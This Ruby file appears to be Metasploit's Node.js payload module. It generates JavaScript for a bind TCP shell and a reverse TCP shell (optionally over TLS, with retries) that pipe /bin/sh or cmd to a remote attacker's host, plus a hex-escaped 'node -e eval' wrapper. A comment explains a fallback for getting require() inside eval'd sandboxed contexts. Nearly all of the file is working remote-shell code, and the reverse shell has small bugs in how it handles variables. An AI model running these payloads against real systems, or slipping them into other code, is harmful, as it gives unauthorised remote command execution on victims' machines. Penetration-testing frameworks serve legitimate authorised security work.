# -*- coding: binary -*-

module Msf::Payload::NodeJS
  # Outputs a javascript snippet that spawns a bind TCP shell
  # @return [String] javascript code that executes bind TCP payload
  def nodejs_bind_tcp
    cmd = <<-EOS
      (function(){
        var require = global.require || global.process.mainModule.constructor._load;
        if (!require) return;

        var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh";
        var net = require("net"),
            cp = require("child_process"),
            util = require("util");

        var server = net.createServer(function(socket) {  
          var sh = cp.spawn(cmd, []);
          socket.pipe(sh.stdin);
          if (typeof util.pump === "undefined") {
            sh.stdout.pipe(socket);
            sh.stderr.pipe(socket);
          } else {
            util.pump(sh.stdout, socket);
            util.pump(sh.stderr, socket);
          }
        });
        server.listen(#{datastore['LPORT']});
      })();
    EOS
    cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')
  end

  # Outputs a javascript snippet that spawns a reverse TCP shell
  # @param [Hash] opts the options to create the reverse TCP payload with
  # @option opts [Boolean] :use_ssl use SSL when communicating with the shell. defaults to false.
  # @return [String] javascript code that executes reverse TCP payload
  def nodejs_reverse_tcp(opts={})
    use_ssl = opts.fetch(:use_ssl, false)
    tls_hash = if use_ssl then '{rejectUnauthorized:false}, ' else '' end
    net_lib = if use_ssl then 'tls' else 'net' end
    lhost = Rex::Socket.is_ipv6?(lhost) ? "[#{datastore['LHOST']}]" : datastore['LHOST']
    # the global.process.mainModule.constructor._load fallback for require() is
    # handy when the payload is eval()'d into a sandboxed context: the reference
    # to 'require' is missing, but can be looked up from the 'global' object.
    #
    # however, this fallback might break in later versions of nodejs.
    cmd = <<-EOS
      (function(){
        var require = global.require || global.process.mainModule.constructor._load;
        if (!require) return;
        var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh";
        var net = require("#{net_lib}"),
            cp = require("child_process"),
            util = require("util"),
            sh = cp.spawn(cmd, []);
        var client = this;
        var counter=0;
        function StagerRepeat(){
          client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
          client.socket.pipe(sh.stdin);
          if (typeof util.pump === "undefined") {
            sh.stdout.pipe(client.socket);
            sh.stderr.pipe(client.socket);
          } else {
            util.pump(sh.stdout, client.socket);
            util.pump(sh.stderr, client.socket);
          }
        });
        socket.on("error", function(error) {
          counter++;
          if(counter<= #{datastore['StagerRetryCount']}){
            setTimeout(function() { StagerRepeat();}, #{datastore['StagerRetryWait']}*1000);
          } else
            process.exit();
          });
        }
        StagerRepeat();
      })();
    EOS
    cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')
  end

  # Wraps the javascript code param in a "node" command invocation
  # @param [String] code the javascript code to run
  # @return [String] a command that invokes "node" and passes the code
  def nodejs_cmd(code)
    "node -e 'eval(\"#{code.gsub(/[^a-z0-9\s]/i) { |char| Rex::Text.to_hex(char, '\\x') }}\");'"
  end
end
